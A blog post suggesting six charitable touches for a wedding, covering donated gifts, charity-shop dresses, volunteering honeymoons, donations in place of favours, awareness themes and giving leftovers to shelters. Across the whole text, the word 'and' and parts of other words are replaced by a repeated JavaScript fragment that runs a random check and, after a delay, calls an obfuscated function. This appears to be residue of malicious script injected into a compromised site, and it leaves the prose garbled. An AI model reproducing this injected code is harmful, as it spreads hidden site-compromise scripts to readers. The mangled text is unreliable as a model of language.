6 Simple ways to give something back on your wedding day!

With the average cost of a wedding now soaring at a horrifically high £20, 000, surely I can’t be the only one thinking: couldn’t that money be better spent elsewhere?

If you find yourself nodding your head in agreement, you’ll be glad to hear that what many of you lucky brides- andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} grooms-to-be don’t know (yet) is that there is a way of having the fabulous wedding with all the trimmings, whilst simultaneously lending a helping handandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} to those less privileged.

I’m happy to tell you all that charitable weddings are trending, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} I certainly see this is a bandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}wagon worth leaping on. So go on! Give something back on your wedding day, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} take a look at these simple but thoughtful ways to incorporate charities into your wedding:

 

Wedding gifts

When it comes to wedding gifts, many couples will find themselves cluttering their kitchen with a hoard of delightful, but unnecessary, dust-collectors that they will never use. Wave goodbye to wasteful wedding gifts, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} instead ask your guests to donate their money to a charity of your choice. Companies like the I Do Foundation will even give you the best of both by donating a portion of the money spent on any gifts to your chosen charity.

It’s a win-win!

Giving makes everyone feel good, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} you’ll be glad that your guests’ hard-earned money went to a good cause.

Wedding dress

Before you start traipsing around wedding boutiques in search of your dream dress, hold up. It may sound insane, but your local charity shop isn’t just home to a selection of odd-smelling shirts andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} bobbly cardigans- many sell wedding dresses too!

Have a browse andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} you may be surprised with what you exit with. Alternatively, consider buying from andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/or donating your dress to an organisation like Brides Against Breast Cancer. Showcasing hundreds of wondrous wedding dresses, some worn some andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} brandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} new, Brides Against Breast Cancer donate their proceeds to cancer victims, giving brides the opportunity to give something back to those less fortunate than themselves.

Honeymoon

Your honeymoon is under no obligation to conform to the stereotypical beachy islandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} break. In the modern day, many couples are beginning to want more from their honeymoon, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} I can see why. Perhaps I’ve taken too many holidays, but somehow bumming around in a bikini doesn’t quite do it for me anymore. If you andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} your partner are looking for an experience that you’ll remember for a lifetime, then volunteering abroad is a great way of giving something back, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} may indeed be your golden ticket to the perfect honeymoon.

Wedding favours

Wedding favours can be unpredictably pricey so it’s often best to pop your creative hat on andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} make your own. 

However, a kinder alternative would be to put the money towards making a donation to a charity that means something to you andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} your family- in honour of your guests of course. Your guests will be relieved that they don’t have to find room for that potted plant you’d planned on proffering, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} they’ll certainly appreciate your generosity.

Theme

You don’t have to sacrifice your wedding gifts or that honeymoon you’ve always dreamt of to involve charities in your wedding. Instead, you can use your wedding as an opportunity to raise your guests’ awareness of a charity that means something to you andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} your partner. Include touches of pink in your wedding theme to promote charities like Breakthrough Breast Cancer, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} dedicate a section of your wedding programme to an explanation of the importance of charitable giving.

Leftovers

Once the confetti is thrown andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the guests have gone home, a vast amount of wasted leftovers is the sad inevitability of many lavish weddings. However, unbeknown to many, your catering doesn’t have to be food for flies, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} a lot more joy can be squeezed from your flower arrangements. Put a smile on a weary face, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} donate your leftovers to homeless shelters or hospices where your food andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} flowers will feed andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} fulfill those who truly need them. After all, it’s all about the giving.
